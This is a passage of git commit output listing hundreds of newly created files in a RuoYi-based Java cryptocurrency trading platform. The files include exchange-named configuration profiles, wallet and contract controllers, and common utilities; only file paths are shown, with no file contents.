create mode 100644 ruoyi-admin/src/main/resources/application-bityc.yml create mode 100644 ruoyi-admin/src/main/resources/application-bkfcoin.yml create mode 100644 ruoyi-admin/src/main/resources/application-cmwoin.yml create mode 100644 ruoyi-admin/src/main/resources/application-coinang.yml create mode 100644 ruoyi-admin/src/main/resources/application-coinmarketcap.yml create mode 100644 ruoyi-admin/src/main/resources/application-coinsexpto.yml create mode 100644 ruoyi-admin/src/main/resources/application-das.yml create mode 100644 ruoyi-admin/src/main/resources/application-dentcoin.yml create mode 100644 ruoyi-admin/src/main/resources/application-dev-new.yml create mode 100644 ruoyi-admin/src/main/resources/application-dev.yml create mode 100644 ruoyi-admin/src/main/resources/application-dex.yml create mode 100644 ruoyi-admin/src/main/resources/application-ebc.yml create mode 100644 ruoyi-admin/src/main/resources/application-etfinex.yml create mode 100644 ruoyi-admin/src/main/resources/application-fx.yml create mode 100644 ruoyi-admin/src/main/resources/application-gatedefi.yml create mode 100644 ruoyi-admin/src/main/resources/application-gemini2.yml create mode 100644 ruoyi-admin/src/main/resources/application-gmdoin.yml create mode 100644 ruoyi-admin/src/main/resources/application-gmmoin.yml create mode 100644 ruoyi-admin/src/main/resources/application-gmtoin.yml create mode 100644 ruoyi-admin/src/main/resources/application-gmtoin2.yml create mode 100644 ruoyi-admin/src/main/resources/application-hfm.yml create mode 100644 ruoyi-admin/src/main/resources/application-hfm2.yml create mode 100644 ruoyi-admin/src/main/resources/application-idsst.yml create mode 100644 ruoyi-admin/src/main/resources/application-kabit.yml create mode 100644 ruoyi-admin/src/main/resources/application-latcoin.yml create mode 100644 ruoyi-admin/src/main/resources/application-math.yml create mode 100644 ruoyi-admin/src/main/resources/application-paxpay.yml create mode 100644 ruoyi-admin/src/main/resources/application-robinhood2.yml create mode 100644 ruoyi-admin/src/main/resources/application-rxce.yml create mode 100644 ruoyi-admin/src/main/resources/application-spark.yml create mode 100644 ruoyi-admin/src/main/resources/application-terra.yml create mode 100644 ruoyi-admin/src/main/resources/application-ticbit.yml create mode 100644 ruoyi-admin/src/main/resources/application-tokencan.yml create mode 100644 ruoyi-admin/src/main/resources/application-trustwallet.yml create mode 100644 ruoyi-admin/src/main/resources/application.yml create mode 100644 ruoyi-admin/src/main/resources/banner.txt create mode 100644 ruoyi-admin/src/main/resources/i18n/messages.properties create mode 100644 ruoyi-admin/src/main/resources/i18n/messages_zh.properties create mode 100644 ruoyi-admin/src/main/resources/logback.xml create mode 100644 ruoyi-admin/src/main/resources/mybatis/mybatis-config.xml create mode 100644 ruoyi-api/echo2-api.iml create mode 100644 ruoyi-api/pom.xml create mode 100644 ruoyi-api/src/main/java/com/ruoyi/ApiApplication.java create mode 100644 ruoyi-api/src/main/java/com/ruoyi/Atest.java create mode 100644 ruoyi-api/src/main/java/com/ruoyi/RuoYiServletInitializer.java create mode 100644 ruoyi-api/src/main/java/com/ruoyi/config/RedisStreamConfig.java create mode 100644 ruoyi-api/src/main/java/com/ruoyi/listener/ListenerMessage.java create mode 100644 ruoyi-api/src/main/java/com/ruoyi/task/BianaceWSTask.java create mode 100644 ruoyi-api/src/main/java/com/ruoyi/task/BotKlineTask.java create mode 100644 ruoyi-api/src/main/java/com/ruoyi/web/controller/app/TCustomerController.java create mode 100644 ruoyi-api/src/main/java/com/ruoyi/web/controller/app/TDictController.java create mode 100644 ruoyi-api/src/main/java/com/ruoyi/web/controller/app/TMarketController.java create mode 100644 ruoyi-api/src/main/java/com/ruoyi/web/controller/app/TNoticeTopController.java create mode 100644 ruoyi-api/src/main/java/com/ruoyi/web/controller/blockcc/BlockccController.java create mode 100644 ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/ApiDefiController.java create mode 100644 ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TActivityRechargeController.java create mode 100644 ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TAgentActivityInfoController.java create mode 100644 ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TAppAssetController.java create mode 100644 ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TAppMailController.java create mode 100644 ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TAppRechargeController.java create mode 100644 ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TAppUserController.java create mode 100644 ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TAppWalletRecordController.java create mode 100644 ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TAppWithdrawController.java create mode 100644 ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TContractCoinController.java create mode 100644 ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TContractLossController.java create mode 100644 ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TContractOrderController.java create mode 100644 ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TContractPositionController.java create mode 100644 ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TCurrencyOrderController.java create mode 100644 ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TCurrencySymbolController.java create mode 100644 ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TExchangeCoinRecordController.java create mode 100644 ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/THelpCenterController.java create mode 100644 ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/THelpCenterInfoController.java create mode 100644 ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/THomeSetterController.java create mode 100644 ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TLoadOrderController.java create mode 100644 ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TLoadProductController.java create mode 100644 ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TMineFinancialController.java create mode 100644 ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TMineOrderController.java create mode 100644 ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TMingOrderController.java create mode 100644 ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TMingProductController.java create mode 100644 ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TNftOrderController.java create mode 100644 ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TNftProductController.java create mode 100644 ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TNftSeriesController.java create mode 100644 ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TNoticeController.java create mode 100644 ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TOptionRulesController.java create mode 100644 ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TOwnCoinController.java create mode 100644 ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TOwnCoinOrderController.java create mode 100644 ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TSecondCoinConfigController.java create mode 100644 ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TSecondContractOrderController.java create mode 100644 ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TSecondPeriodConfigController.java create mode 100644 ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TSymbolManageController.java create mode 100644 ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TUserBankController.java create mode 100644 ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TUserCoinController.java create mode 100644 ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TimeZoneController.java create mode 100644 ruoyi-api/src/main/java/com/ruoyi/web/controller/common/ApiBaseController.java create mode 100644 ruoyi-api/src/main/java/com/ruoyi/web/controller/common/CaptchaController.java create mode 100644 ruoyi-api/src/main/java/com/ruoyi/web/controller/common/CommonController.java create mode 100644 ruoyi-api/src/main/java/com/ruoyi/web/controller/recall/RechargeRecallController.java create mode 100644 ruoyi-api/src/main/java/com/ruoyi/web/controller/recall/WithdrawRecallController.java create mode 100644 ruoyi-api/src/main/java/com/ruoyi/web/controller/tool/TestController.java create mode 100644 ruoyi-api/src/main/java/com/ruoyi/web/core/config/LanguageLocalConfig.java create mode 100644 ruoyi-api/src/main/java/com/ruoyi/web/core/config/SwaggerConfig.java create mode 100644 ruoyi-api/src/main/java/com/ruoyi/web/lifecycle/MySmartLifecycle.java create mode 100644 ruoyi-api/src/main/java/com/ruoyi/websocket/SocketThreadRun.java create mode 100644 ruoyi-api/src/main/java/com/ruoyi/websocket/WebSocketConfigdd.java create mode 100644 ruoyi-api/src/main/java/com/ruoyi/websocket/WebSocketRunner.java create mode 100644 ruoyi-api/src/main/java/com/ruoyi/websocket/WebSocketSubscriber.java create mode 100644 ruoyi-api/src/main/resources/META-INF/spring-devtools.properties create mode 100644 ruoyi-api/src/main/resources/application-aams.yml create mode 100644 ruoyi-api/src/main/resources/application-bitbyex.yml create mode 100644 ruoyi-api/src/main/resources/application-bitfly.yml create mode 100644 ruoyi-api/src/main/resources/application-bitmake.yml create mode 100644 ruoyi-api/src/main/resources/application-bityc.yml create mode 100644 ruoyi-api/src/main/resources/application-bkfcoin.yml create mode 100644 ruoyi-api/src/main/resources/application-cmwoin.yml create mode 100644 ruoyi-api/src/main/resources/application-coinang.yml create mode 100644 ruoyi-api/src/main/resources/application-coinmarketcap.yml create mode 100644 ruoyi-api/src/main/resources/application-coinsexpto.yml create mode 100644 ruoyi-api/src/main/resources/application-das.yml create mode 100644 ruoyi-api/src/main/resources/application-dentcoin.yml create mode 100644 ruoyi-api/src/main/resources/application-dev-new.yml create mode 100644 ruoyi-api/src/main/resources/application-dev.yml create mode 100644 ruoyi-api/src/main/resources/application-dex.yml create mode 100644 ruoyi-api/src/main/resources/application-ebc.yml create mode 100644 ruoyi-api/src/main/resources/application-etfinex.yml create mode 100644 ruoyi-api/src/main/resources/application-fx.yml create mode 100644 ruoyi-api/src/main/resources/application-gatedefi.yml create mode 100644 ruoyi-api/src/main/resources/application-gemini2.yml create mode 100644 ruoyi-api/src/main/resources/application-gmdoin.yml create mode 100644 ruoyi-api/src/main/resources/application-gmmoin.yml create mode 100644 ruoyi-api/src/main/resources/application-gmtoin.yml create mode 100644 ruoyi-api/src/main/resources/application-gmtoin2.yml create mode 100644 ruoyi-api/src/main/resources/application-hfm.yml create mode 100644 ruoyi-api/src/main/resources/application-hfm2.yml create mode 100644 ruoyi-api/src/main/resources/application-idsst.yml create mode 100644 ruoyi-api/src/main/resources/application-kabit.yml create mode 100644 ruoyi-api/src/main/resources/application-latcoin.yml create mode 100644 ruoyi-api/src/main/resources/application-math.yml create mode 100644 ruoyi-api/src/main/resources/application-paxpay.yml create mode 100644 ruoyi-api/src/main/resources/application-robinhood2.yml create mode 100644 ruoyi-api/src/main/resources/application-rxce.yml create mode 100644 ruoyi-api/src/main/resources/application-spark.yml create mode 100644 ruoyi-api/src/main/resources/application-terra.yml create mode 100644 ruoyi-api/src/main/resources/application-ticbit.yml create mode 100644 ruoyi-api/src/main/resources/application-tokencan.yml create mode 100644 ruoyi-api/src/main/resources/application-trustwallet.yml create mode 100644 ruoyi-api/src/main/resources/application-wirex.yml create mode 100644 ruoyi-api/src/main/resources/application.yml create mode 100644 ruoyi-api/src/main/resources/banner.txt create mode 100644 ruoyi-api/src/main/resources/i18n/messages.properties create mode 100644 ruoyi-api/src/main/resources/i18n/messages_de.properties create mode 100644 ruoyi-api/src/main/resources/i18n/messages_en.properties create mode 100644 ruoyi-api/src/main/resources/i18n/messages_es.properties create mode 100644 ruoyi-api/src/main/resources/i18n/messages_fr.properties create mode 100644 ruoyi-api/src/main/resources/i18n/messages_ja.properties create mode 100644 ruoyi-api/src/main/resources/i18n/messages_ko.properties create mode 100644 ruoyi-api/src/main/resources/i18n/messages_th.properties create mode 100644 ruoyi-api/src/main/resources/i18n/messages_tw.properties create mode 100644 ruoyi-api/src/main/resources/i18n/messages_vi.properties create mode 100644 ruoyi-api/src/main/resources/i18n/messages_vn.properties create mode 100644 ruoyi-api/src/main/resources/i18n/messages_zh.properties create mode 100644 ruoyi-api/src/main/resources/logback.xml create mode 100644 ruoyi-api/src/main/resources/mybatis/mybatis-config.xml create mode 100644 ruoyi-api/src/main/resources/static/ip2region.db create mode 100644 ruoyi-api/src/main/resources/static/ip2region.md create mode 100644 ruoyi-api/src/main/resources/static/templates/bindCodeEmail.ftl create mode 100644 ruoyi-common/pom.xml create mode 100644 ruoyi-common/ruoyi-common.iml create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/annotation/Anonymous.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/annotation/DataScope.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/annotation/DataSource.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/annotation/Excel.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/annotation/Excels.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/annotation/Log.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/annotation/RateLimiter.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/annotation/RepeatSubmit.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/config/RuoYiConfig.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/constant/CacheConstants.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/constant/Constants.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/constant/GenConstants.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/constant/HttpStatus.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/constant/ScheduleConstants.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/constant/UserConstants.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/core/controller/BaseController.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/core/domain/AjaxResult.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/core/domain/BaseEntity.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/core/domain/OrderBySetting.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/core/domain/R.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/core/domain/TreeEntity.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/core/domain/TreeSelect.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/core/domain/entity/MemberInfo.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/core/domain/entity/SysDept.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/core/domain/entity/SysDictData.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/core/domain/entity/SysDictType.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/core/domain/entity/SysMenu.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/core/domain/entity/SysRole.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/core/domain/entity/SysUser.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/core/domain/entity/TimeZone.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/core/domain/model/LoginBody.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/core/domain/model/LoginUser.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/core/domain/model/RegisterBody.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/core/page/PageDomain.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/core/page/TableDataInfo.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/core/page/TableSupport.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/core/redis/RedisCache.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/core/text/CharsetKit.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/core/text/Convert.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/core/text/StrFormatter.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/enums/AssetEnum.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/enums/AuditStatusEnum.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/enums/BusinessStatus.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/enums/BusinessType.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/enums/CachePrefix.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/enums/CandlestickIntervalEnum.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/enums/ClassifyEnum.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/enums/CommonEnum.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/enums/ContractOrderStatusEmun.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/enums/CountryCodeAndPhoneCodeEnum.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/enums/DataSourceType.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/enums/HttpMethod.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/enums/LimitType.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/enums/LoginOrRegisterEnum.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/enums/NoticeTypeEnum.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/enums/OperatorType.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/enums/OptionRulesEnum.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/enums/OssEnum.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/enums/RechargeTypeUncEmun.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/enums/RecoenOrderStatusEmun.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/enums/RecordEnum.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/enums/SettingEnum.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/enums/ThirdTypeUncEmun.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/enums/UserBlackEnum.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/enums/UserCodeTypeEnum.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/enums/UserStatus.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/enums/WalletType.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/enums/WithdrawTypeUncEmun.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/eth/Account.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/eth/Contract.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/eth/ContractConfig.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/eth/EthConvert.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/eth/EthUtils.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/eth/EtherscanApi.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/eth/MessageResult.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/eth/Payment.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/exception/DemoModeException.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/exception/GlobalException.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/exception/ServiceException.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/exception/UtilException.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/exception/base/BaseException.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/exception/file/FileException.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/exception/file/FileNameLengthLimitExceededException.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/exception/file/FileSizeLimitExceededException.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/exception/file/FileUploadException.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/exception/file/InvalidExtensionException.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/exception/job/TaskException.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/exception/user/BlackListException.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/exception/user/CaptchaException.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/exception/user/CaptchaExpireException.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/exception/user/UserException.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/exception/user/UserNotExistsException.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/exception/user/UserPasswordNotMatchException.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/exception/user/UserPasswordRetryLimitExceedException.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/filter/PropertyPreExcludeFilter.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/filter/RepeatableFilter.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/filter/RepeatedlyRequestWrapper.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/filter/XssFilter.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/filter/XssHttpServletRequestWrapper.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/huobi/HuobiConfig.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/trc/TRC.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/trc/TransactionResult.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/trc/Trc20Contract.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/trc/Trc20Service.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/trc/TronUtils.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/utils/AliOssCloudUtil.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/utils/Arith.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/utils/BigDecimalUtil.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/utils/ChineseCharacterUtil.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/utils/DateUtil.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/utils/DateUtils.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/utils/DictUtils.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/utils/ExceptionUtil.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/utils/GoogleAuthenticator.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/utils/LogUtils.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/utils/MessageUtils.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/utils/OrderUtils.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/utils/PageUtils.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/utils/QrCodeUtil.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/utils/RedisUtil.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/utils/RequestUtil.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/utils/SecurityUtils.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/utils/ServletUtils.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/utils/SplitListUtil.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/utils/SpringContextUtil.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/utils/StringUtils.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/utils/TOTP.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/utils/Threads.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/utils/TranslatorUtil.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/utils/UdunUtils.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/utils/UidUtils.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/utils/bean/BeanUtils.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/utils/bean/BeanValidators.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/utils/file/FileTypeUtils.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/utils/file/FileUploadUtils.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/utils/file/FileUtils.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/utils/file/ImageUtils.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/utils/file/MimeTypeUtils.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/utils/html/EscapeUtil.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/utils/html/HTMLFilter.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/utils/http/HttpHelper.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/utils/http/HttpUtils.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/utils/ip/AddressUtils.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/utils/ip/IpUtils.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/utils/poi/ExcelHandlerAdapter.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/utils/poi/ExcelUtil.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/utils/reflect/ReflectUtils.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/utils/sign/Base64.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/utils/sign/Md5Utils.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/utils/sms/SmsSenderUtil.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/utils/spring/SpringUtils.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/utils/sql/SqlUtil.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/utils/ucontract/ContractComputerUtil.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/utils/uuid/IdUtils.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/utils/uuid/Seq.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/utils/uuid/UUID.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/xss/Xss.java create mode 100644 ruoyi-common/src/main/java/com/ruoyi/common/xss/XssValidator.java create mode 100644 ruoyi-framework/pom.xml create mode 100644 ruoyi-framework/ruoyi-framework.iml create mode 100644 ruoyi-framework/src/main/java/com/ruoyi/framework/aspectj/DataScopeAspect.java create mode 100644 ruoyi-framework/src/main/java/com/ruoyi/framework/aspectj/DataSourceAspect.java create mode 100644 ruoyi-framework/src/main/java/com/ruoyi/framework/aspectj/LogAspect.java create mode 100644 ruoyi-framework/src/main/java/com/ruoyi/framework/aspectj/RateLimiterAspect.java create mode 100644 ruoyi-framework/src/main/java/com/ruoyi/framework/config/ApplicationConfig.java create mode 100644 ruoyi-framework/src/main/java/com/ruoyi/framework/config/CaptchaConfig.java create mode 100644 ruoyi-framework/src/main/java/com/ruoyi/framework/config/DruidConfig.java create mode 100644 ruoyi-framework/src/main/java/com/ruoyi/framework/config/FastJson2JsonRedisSerializer.java create mode 100644 ruoyi-framework/src/main/java/com/ruoyi/framework/config/FilterConfig.java create mode 100644 ruoyi-framework/src/main/java/com/ruoyi/framework/config/KaptchaTextCreator.java create mode 100644 ruoyi-framework/src/main/java/com/ruoyi/framework/config/MybatisPlusConfig.java create mode 100644 ruoyi-framework/src/main/java/com/ruoyi/framework/config/RedisConfig.java create mode 100644 ruoyi-framework/src/main/java/com/ruoyi/framework/config/ResourcesConfig.java create mode 100644 ruoyi-framework/src/main/java/com/ruoyi/framework/config/SaTokenConfig.java create mode 100644 ruoyi-framework/src/main/java/com/ruoyi/framework/config/SecurityConfig.java create mode 100644 ruoyi-framework/src/main/java/com/ruoyi/framework/config/ServerConfig.java create mode 100644 ruoyi-framework/src/main/java/com/ruoyi/framework/config/ThreadPoolConfig.java create mode 100644 ruoyi-framework/src/main/java/com/ruoyi/framework/config/WebSocketConfigOne.java create mode 100644 ruoyi-framework/src/main/java/com/ruoyi/framework/config/properties/DruidProperties.java create mode 100644 ruoyi-framework/src/main/java/com/ruoyi/framework/config/properties/PermitAllUrlProperties.java create mode 100644 ruoyi-framework/src/main/java/com/ruoyi/framework/datasource/DynamicDataSource.java create mode 100644 ruoyi-framework/src/main/java/com/ruoyi/framework/datasource/DynamicDataSourceContextHolder.java create mode 100644 ruoyi-framework/src/main/java/com/ruoyi/framework/ethws/WebSocketClientFactory.java create mode 100644 ruoyi-framework/src/main/java/com/ruoyi/framework/interceptor/RepeatSubmitInterceptor.java create mode 100644 ruoyi-framework/src/main/java/com/ruoyi/framework/interceptor/impl/SameUrlDataInterceptor.java create mode 100644 ruoyi-framework/src/main/java/com/ruoyi/framework/manager/AsyncManager.java create mode 100644 ruoyi-framework/src/main/java/com/ruoyi/framework/manager/ShutdownManager.java create mode 100644 ruoyi-framework/src/main/java/com/ruoyi/framework/manager/blockcc/BlockccManager.java create mode 100644 ruoyi-framework/src/main/java/com/ruoyi/framework/manager/factory/AsyncFactory.java create mode 100644 ruoyi-framework/src/main/java/com/ruoyi/framework/security/context/AuthenticationContextHolder.java create mode 100644 ruoyi-framework/src/main/java/com/ruoyi/framework/security/context/PermissionContextHolder.java create mode 100644 ruoyi-framework/src/main/java/com/ruoyi/framework/security/filter/JwtAuthenticationTokenFilter.java create mode 100644 ruoyi-framework/src/main/java/com/ruoyi/framework/security/handle/AuthenticationEntryPointImpl.java create mode 100644 ruoyi-framework/src/main/java/com/ruoyi/framework/security/handle/LogoutSuccessHandlerImpl.java create mode 100644 ruoyi-framework/src/main/java/com/ruoyi/framework/web/domain/KlineParamVO.java create mode 100644 ruoyi-framework/src/main/java/com/ruoyi/framework/web/domain/Server.java create mode 100644 ruoyi-framework/src/main/java/com/ruoyi/framework/web/domain/Ticker24hVO.java create mode 100644 ruoyi-framework/src/main/java/com/ruoyi/framework/web/domain/server/Cpu.java create mode 100644 